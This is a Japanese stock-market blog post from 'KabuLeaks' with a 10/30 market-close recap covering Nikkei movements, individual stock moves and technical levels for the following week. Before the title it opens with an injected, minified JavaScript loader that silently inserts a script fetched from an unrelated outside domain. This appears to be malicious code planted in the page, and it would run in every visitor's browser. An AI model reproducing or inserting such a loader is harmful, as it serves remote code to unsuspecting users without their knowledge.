;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/30 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/30 大引け】

本日の日経平均株価は147円高と3日続伸。正午過ぎに日銀が追加金融緩和を見送ったことから、一時は急落する場面もあった。ただ、補正予算編成に対する思惑などを背景に急速に切り返しプラス圏に浮上。大引けにかけては上げ幅を縮小したものの、8月28日以来、2カ月ぶりに終値で1万9000円台を回復して取引を終えた。業種別では、空運業、医薬品、精密機器、金属製品などが値上がり率上位に。一方、その他製品、ガラス土石製品、証券商品先物、機械などが値下がり率上位となった。

個別では、新規インフルエンザ治療薬に関する報道の伝わった【4507】塩野義製薬が大高。また、米国でCOPD治療薬が承認取得を発表した【4565】そーせいグループが一時ストップの急伸となった。その他、【2438】アスカネットがストップ高で取引を終えたほか、上半期営業利益の従来予想が大きく上振れたことから【2871】ニチレイ、市場予想に反し、通期業績上方修正の【4043】トクヤマなども上昇した。一方、スマートフォンゲーム延期が嫌気された【7974】任天堂、その任天堂と業務提携を結んでいるか【2432】ディー・エヌ・エー が大幅続落となった。

日経平均は補正予算編成に対する思惑から一時急伸も直近上値の抵抗線として意識される1万9,200円ではやはり上値が重い。来週はこのポイントや200日移動平均線、一目均衡表の雲上限を突破できるかが鍵となりそうだ。また、来週は郵政上場を控えこれが追い風になることに期待したい。

もしも、上値が重く売られたとしても、下値は日足下に開いている窓埋め18,400円付近を想定。もしこのラインまで下がるようであれば引き続き積極的に押し目を狙ってもいいと思う。